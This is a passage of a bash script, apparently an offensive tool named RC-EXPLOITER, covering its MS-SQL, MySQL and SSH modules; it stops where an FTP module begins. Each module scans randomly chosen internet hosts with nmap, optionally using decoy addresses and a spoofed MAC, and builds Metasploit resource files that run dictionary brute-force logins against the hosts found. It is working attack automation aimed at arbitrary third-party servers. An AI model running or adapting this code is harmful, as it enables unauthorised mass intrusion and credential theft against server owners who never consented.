  628.        chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  629.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  630.  
  631.            # store in debug.int
  632.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  633.            echo "MSSQL_PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  634.  
  635.          cd $IPATH/exploits/
  636.          # using bash SED to replace value (dicionary file & report.log)
  637.          cp ms-sql.rc ms-sql.bk > /dev/null 2<&1
  638.          sed "s|R3PL4C3|$dIc|g" ms-sql.rc > copy.int
  639.          sed "s|Lt0P4tH|$IPATH/logs/[ms-sql].log|g" copy.int > copy2.int
  640.          mv copy2.int ms-sql.rc > /dev/null 2<&1
  641.          cd $IPATH
  642.  
  643.      # start postgresql+metasploit db
  644.      echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  645.      # /etc/init.d/postgresql start > /dev/null 2>&1
  646.      # /etc/init.d/metasploit start > /dev/null 2>&1
  647.      # /etc/init.d/metasploit start > /dev/null 2>&1
  648.  
  649.       if [ "$DiStR0" = "Kali" ]; then
  650.         service postgresql start > /dev/null 2>&1
  651.         service metasploit start > /dev/null 2>&1
  652.       else
  653.         service metasploit start > /dev/null 2>&1
  654.       fi
  655.  
  656.     # display cleaner command
  657.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  658.     echo ${white}--------------------------------------------------------${Reset};
  659.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  660.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  661.     echo ${white}--------------------------------------------------------${Reset};
  662.  
  663.   # access msfdatabase
  664.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  665.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  666.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  667.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ms-sql].log" --width 480 > /dev/null 2>&1
  668.   service metasploit stop > /dev/null 2>&1
  669.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  670.  
  671.   # clean old files
  672.   mv $IPATH/exploits/ms-sql.bk $IPATH/exploits/ms-sql.rc > /dev/null 2<&1
  673.   rm $IPATH/exploits/copy.int > /dev/null 2>&1
  674.   chown $user $IPATH/exploits/ms-sql.rc > /dev/null 2>&1
  675.  
  676.  
  677.   else
  678.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  679.   echo "MS-SQL-S:WAN:ABORT" >> $IPATH/debug/debug.int
  680.   sleep 2
  681.   fi
  682.  
  683.  
  684.  
  685.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  686.    echo "MS-SQL-S:MANUAL:LOADED" >> $IPATH/debug/debug.int
  687.   # imput manually RHOSTS
  688.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  689.      if [ "$?" -eq "0" ]; then
  690.      dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
  691.  
  692.      # generate (settings) resource file
  693.      echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  694.      echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  695.      echo "setg MSSQL_PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  696.      echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  697.      echo "resource $IPATH/exploits/ms-sql.rc" >> $IPATH/tempwork/msfdb.rc
  698.  
  699.        # generate (cleaner) resource file
  700.        echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  701.        echo "unset -g RHOST RHOSTS MSSQL_PASS_FILE THREADS" >> $IPATH/tempwork/cleaner.rc
  702.        echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  703.        echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  704.        chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  705.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  706.  
  707.            # store in debug.int
  708.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  709.            echo "MSSQL_PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  710.  
  711.          cd $IPATH/exploits/
  712.          # using bash SED to replace value (dicionary file & report.log)
  713.          cp ms-sql.rc ms-sql.bk > /dev/null 2<&1
  714.          sed "s|R3PL4C3|$dIc|g" ms-sql.rc > copy.int
  715.          sed "s|Lt0P4tH|$IPATH/logs/[ms-sql].log|g" copy.int > copy2.int
  716.          mv copy2.int ms-sql.rc > /dev/null 2<&1
  717.          cd $IPATH
  718.  
  719.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  720.       # start postgresql+metasploit db
  721.       # /etc/init.d/postgresql start > /dev/null 2>&1
  722.       # /etc/init.d/metasploit start > /dev/null 2>&1
  723.       service metasploit start > /dev/null 2>&1
  724.       echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  725.  
  726.     # display cleaner command
  727.     echo ${white}--------------------------------------------------------${Reset};
  728.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  729.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  730.     echo ${white}--------------------------------------------------------${Reset};
  731.  
  732.   # access msfdatabase
  733.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  734.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  735.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  736.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ms-sql].log" --width 480 > /dev/null 2>&1
  737.   service metasploit stop > /dev/null 2>&1
  738.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  739.  
  740.   # clean old files
  741.   mv $IPATH/exploits/ms-sql.bk $IPATH/exploits/ms-sql.rc > /dev/null 2<&1
  742.   rm $IPATH/exploits/copy.int > /dev/null 2>&1
  743.   chown $user $IPATH/exploits/ms-sql.rc > /dev/null 2>&1
  744.  
  745.   else
  746.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  747.   echo "MS-SQL-S:MANUAL:ABORT" >> $IPATH/debug/debug.int
  748.   sleep 2
  749.   fi
  750.  
  751.  
  752. else
  753.  
  754.    Colors;
  755.    echo ${RedF}[x]::[quiting module]... ${Reset};
  756.    echo "MS-SQL-S:CANCEL" >> $IPATH/debug/debug.int
  757.    sleep 2
  758. fi
  759. }
  760.  
  761.  
  762.  
  763.  
  764. # ---------------
  765. # mysql exploiter
  766. # ---------------
  767. sh_3 () {
  768. Colors;
  769. # search in wan OR manually input rhosts
  770. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  771.  
  772.  
  773.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  774.      echo "MYSQL:WAN:LOADED" >> $IPATH/debug/debug.int
  775.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  776.      dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
  777.  
  778.      # use DECOY'S in scanning WAN networks?
  779.      if [ "$Ch3" = "YES" ]; then
  780.      # use decoys to scan wan networks
  781.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  782.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 3306 --open --reason -oN $IPATH/logs/Random-Hosts[mysql].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[mysql].log\nHOSTS: $NUM ONLY: open PORTS: 3306\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  783.      else
  784.      # default (dont use decoys)
  785.      nmap -sS -iR $NUM -PN -p 3306 --open --reason -oN $IPATH/logs/Random-Hosts[mysql].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[mysql].log\nHOSTS: $NUM ONLY: open PORTS: 3306\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  786.      fi
  787.  
  788.      echo ""
  789.      # display on screen hosts found
  790.      cat $IPATH/logs/Random-Hosts[mysql].log
  791.      echo ""
  792.  
  793.        # generate (settings) resource file
  794.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  795.          if [ "$?" -eq "0" ]; then
  796.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  797.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  798.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  799.        echo "setg MYSQL_PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  800.        echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  801.        echo "resource $IPATH/exploits/mysql.rc" >> $IPATH/tempwork/msfdb.rc
  802.  
  803.          # generate (cleaner) resource file
  804.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  805.          echo "unset -g RHOST RHOSTS MYSQL_PASS_FILE THREADS" >> $IPATH/tempwork/cleaner.rc
  806.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  807.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  808.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  809.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  810.          chown $user $IPATH/logs/Random-Hosts[mysql].log > /dev/null 2>&1
  811.  
  812.          cd $IPATH/exploits/
  813.          # using bash SED to replace value (report.log)
  814.          cp mysql.rc mysql.bk > /dev/null 2<&1
  815.          sed "s|Lt0P4tH|$IPATH/logs/[mysql].log|g" mysql.rc > copy.int
  816.          mv copy.int mysql.rc > /dev/null 2<&1
  817.          cd $IPATH
  818.  
  819.            # store in debug.int
  820.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  821.            echo "MYSQL_PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  822.  
  823.       # start postgresql+metasploit db
  824.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  825.       # /etc/init.d/postgresql start > /dev/null 2>&1
  826.       # /etc/init.d/metasploit start > /dev/null 2>&1
  827.  
  828.       if [ "$DiStR0" = "Kali" ]; then
  829.         service postgresql start > /dev/null 2>&1
  830.         service metasploit start > /dev/null 2>&1
  831.       else
  832.         service metasploit start > /dev/null 2>&1
  833.       fi
  834.  
  835.     # display cleaner command
  836.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  837.     echo ${white}--------------------------------------------------------${Reset};
  838.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  839.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  840.     echo ${white}--------------------------------------------------------${Reset};
  841.  
  842.   # access msfdatabase
  843.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  844.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  845.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  846.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[mysql].log" --width 480 > /dev/null 2>&1
  847.   service metasploit stop > /dev/null 2>&1
  848.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  849.  
  850.   # clean old files
  851.   mv $IPATH/exploits/mysql.bk $IPATH/exploits/mysql.rc > /dev/null 2<&1
  852.   chown $user $IPATH/exploits/mysql.rc > /dev/null 2>&1
  853.  
  854.   else
  855.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  856.   echo "MYSQL:WAN:ABORT" >> $IPATH/debug/debug.int
  857.   sleep 2
  858.   fi
  859.  
  860.  
  861.  
  862.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  863.    echo "MYSQL:MANUAL:LOADED" >> $IPATH/debug/debug.int
  864.   # imput manually RHOSTS
  865.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  866.      if [ "$?" -eq "0" ]; then
  867.      dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
  868.  
  869.      # generate (settings) resource file
  870.      echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  871.      echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  872.      echo "setg MYSQL_PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  873.      echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  874.      echo "resource $IPATH/exploits/mysql.rc" >> $IPATH/tempwork/msfdb.rc
  875.  
  876.        # generate (cleaner) resource file
  877.        echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  878.        echo "unset -g RHOST RHOSTS MYSQL_PASS_FILE THREADS" >> $IPATH/tempwork/cleaner.rc
  879.        echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  880.        echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  881.        chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  882.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  883.  
  884.          cd $IPATH/exploits/
  885.          # using bash SED to replace value (report.log)
  886.          cp mysql.rc mysql.bk > /dev/null 2<&1
  887.          sed "s|Lt0P4tH|$IPATH/logs/[mysql].log|g" mysql.rc > copy.int
  888.          mv copy.int mysql.rc > /dev/null 2<&1
  889.          cd $IPATH
  890.  
  891.            # store in debug.int
  892.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  893.            echo "MYSQL_PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  894.  
  895.       # start postgresql+metasploit db
  896.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  897.       # /etc/init.d/postgresql start > /dev/null 2>&1
  898.       # /etc/init.d/metasploit start > /dev/null 2>&1
  899.  
  900.       if [ "$DiStR0" = "Kali" ]; then
  901.         service postgresql start > /dev/null 2>&1
  902.         service metasploit start > /dev/null 2>&1
  903.       else
  904.         service metasploit start > /dev/null 2>&1
  905.       fi
  906.  
  907.     # display cleaner command
  908.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  909.     echo ${white}--------------------------------------------------------${Reset};
  910.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  911.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  912.     echo ${white}--------------------------------------------------------${Reset};
  913.  
  914.   # access msfdatabase
  915.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  916.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  917.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  918.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[mysql].log" --width 480 > /dev/null 2>&1
  919.   service metasploit stop > /dev/null 2>&1
  920.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  921.  
  922.   # clean old files
  923.   mv $IPATH/exploits/mysql.bk $IPATH/exploits/mysql.rc > /dev/null 2<&1
  924.   chown $user $IPATH/exploits/mysql.rc > /dev/null 2>&1
  925.  
  926.   else
  927.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  928.   echo "MSYSQL:MANUAL:ABORT" >> $IPATH/debug/debug.int
  929.   sleep 2
  930.   fi
  931.  
  932.  
  933. else
  934.  
  935.    Colors;
  936.    echo ${RedF}[x]::[quiting module]... ${Reset};
  937.    echo "MYSQL:CANCEL" >> $IPATH/debug/debug.int
  938.    sleep 2
  939. fi
  940. }
  941.  
  942.  
  943.  
  944.  
  945. # -------------
  946. # ssh exploiter
  947. # -------------
  948. sh_4 () {
  949. Colors;
  950. # search in wan OR manually input rhosts
  951. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  952.  
  953.  
  954.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  955.      echo "SSH:WAN:LOADED" >> $IPATH/debug/debug.int
  956.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  957.      dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  958.  
  959.      # use DECOY'S in scanning WAN networks?
  960.      if [ "$Ch3" = "YES" ]; then
  961.      # use decoys to scan wan networks
  962.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  963.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 22 --open --reason -oN $IPATH/logs/Random-Hosts[SSH].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[SSH].log\nHOSTS: $NUM ONLY: open PORTS: 22\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  964.      else
  965.      # default (dont use decoys)
  966.      nmap -sS -iR $NUM -PN -p 22 --open --reason -oN $IPATH/logs/Random-Hosts[SSH].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[SSH].log\nHOSTS: $NUM ONLY: open PORTS: 22\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  967.      fi
  968.  
  969.      echo ""
  970.      # display on screen hosts found
  971.      cat $IPATH/logs/Random-Hosts[SSH].log
  972.      echo ""
  973.  
  974.        # generate (settings) resource file
  975.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  976.          if [ "$?" -eq "0" ]; then
  977.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  978.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  979.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  980.        echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  981.        echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  982.        echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  983.        echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  984.        echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  985.        echo "resource $IPATH/exploits/ssh.rc" >> $IPATH/tempwork/msfdb.rc
  986.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  987.  
  988.          # generate (cleaner) resource file
  989.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  990.          echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
  991.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  992.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  993.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  994.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  995.          chown $user $IPATH/logs/Random-Hosts[SSH].log > /dev/null 2>&1
  996.  
  997.          cd $IPATH/exploits/
  998.          # using bash SED to replace value (report.log)
  999.          cp ssh.rc ssh.bk > /dev/null 2<&1
  1000.          sed "s|Lt0P4tH|$IPATH/logs/[ssh].log|g" ssh.rc > copy.int
  1001.          mv copy.int ssh.rc > /dev/null 2<&1
  1002.          cd $IPATH
  1003.  
  1004.            # store in debug.int
  1005.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1006.            echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
  1007.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  1008.  
  1009.       # start postgresql+metasploit db
  1010.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1011.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1012.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1013.  
  1014.       if [ "$DiStR0" = "Kali" ]; then
  1015.         service postgresql start > /dev/null 2>&1
  1016.         service metasploit start > /dev/null 2>&1
  1017.       else
  1018.         service metasploit start > /dev/null 2>&1
  1019.       fi
  1020.  
  1021.     # display cleaner command
  1022.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1023.     echo ${white}--------------------------------------------------------${Reset};
  1024.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1025.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1026.     echo ${white}--------------------------------------------------------${Reset};
  1027.  
  1028.   # access msfdatabase
  1029.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1030.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1031.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1032.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ssh].log" --width 480 > /dev/null 2>&1
  1033.   service metasploit stop > /dev/null 2>&1
  1034.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1035.  
  1036.   # clean old files
  1037.   mv $IPATH/exploits/ssh.bk $IPATH/exploits/ssh.rc > /dev/null 2<&1
  1038.   chown $user $IPATH/exploits/ssh.rc > /dev/null 2>&1
  1039.  
  1040.   else
  1041.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1042.   echo "SSH:WAN:ABORT" >> $IPATH/debug/debug.int
  1043.   sleep 2
  1044.   fi
  1045.  
  1046.  
  1047.  
  1048.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  1049.    echo "SSH:MANUAL:LOADED" >> $IPATH/debug/debug.int
  1050.   # imput manually RHOSTS
  1051.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  1052.      if [ "$?" -eq "0" ]; then
  1053.      dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  1054.  
  1055.     # generate (settings) resource file
  1056.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  1057.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  1058.     echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1059.     echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  1060.     echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  1061.     echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  1062.     echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  1063.     echo "resource $IPATH/exploits/ssh.rc" >> $IPATH/tempwork/msfdb.rc
  1064.  
  1065.       # generate (cleaner) resource file
  1066.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  1067.       echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
  1068.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  1069.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  1070.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  1071.       chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  1072.  
  1073.          cd $IPATH/exploits/
  1074.          # using bash SED to replace value (report.log)
  1075.          cp ssh.rc ssh.bk > /dev/null 2<&1
  1076.          sed "s|Lt0P4tH|$IPATH/logs/[ssh].log|g" ssh.rc > copy.int
  1077.          mv copy.int ssh.rc > /dev/null 2<&1
  1078.          cd $IPATH
  1079.  
  1080.            # store in debug.int
  1081.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  1082.            echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
  1083.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  1084.  
  1085.       # start postgresql+metasploit db
  1086.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  1087.       # /etc/init.d/postgresql start > /dev/null 2>&1
  1088.       # /etc/init.d/metasploit start > /dev/null 2>&1
  1089.  
  1090.       if [ "$DiStR0" = "Kali" ]; then
  1091.         service postgresql start > /dev/null 2>&1
  1092.         service metasploit start > /dev/null 2>&1
  1093.       else
  1094.         service metasploit start > /dev/null 2>&1
  1095.       fi
  1096.  
  1097.     # display cleaner command
  1098.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1099.     echo ${white}--------------------------------------------------------${Reset};
  1100.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  1101.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  1102.     echo ${white}--------------------------------------------------------${Reset};
  1103.  
  1104.   # access msfdatabase
  1105.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  1106.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  1107.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  1108.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ssh].log" --width 480 > /dev/null 2>&1
  1109.   service metasploit stop > /dev/null 2>&1
  1110.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  1111.  
  1112.   # clean old files
  1113.   mv $IPATH/exploits/ssh.bk $IPATH/exploits/ssh.rc > /dev/null 2<&1
  1114.   chown $user $IPATH/exploits/ssh.rc > /dev/null 2>&1
  1115.  
  1116.   else
  1117.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  1118.   echo "SSH:MANUAL:ABORT" >> $IPATH/debug/debug.int
  1119.   sleep 2
  1120.   fi
  1121.  
  1122.  
  1123. else
  1124.  
  1125.    Colors;
  1126.    echo ${RedF}[x]::[quiting module]... ${Reset};
  1127.    echo "SSH:CANCEL" >> $IPATH/debug/debug.int
  1128.    sleep 2
  1129. fi
  1130. }
  1131.  
  1132.  
  1133.  
  1134.  
  1135. # -------------
  1136. # ftp exploiter
  1137. # -------------
  1138. sh_5 () {
  1139. Colors;
  1140. # search in wan OR manually input rhosts
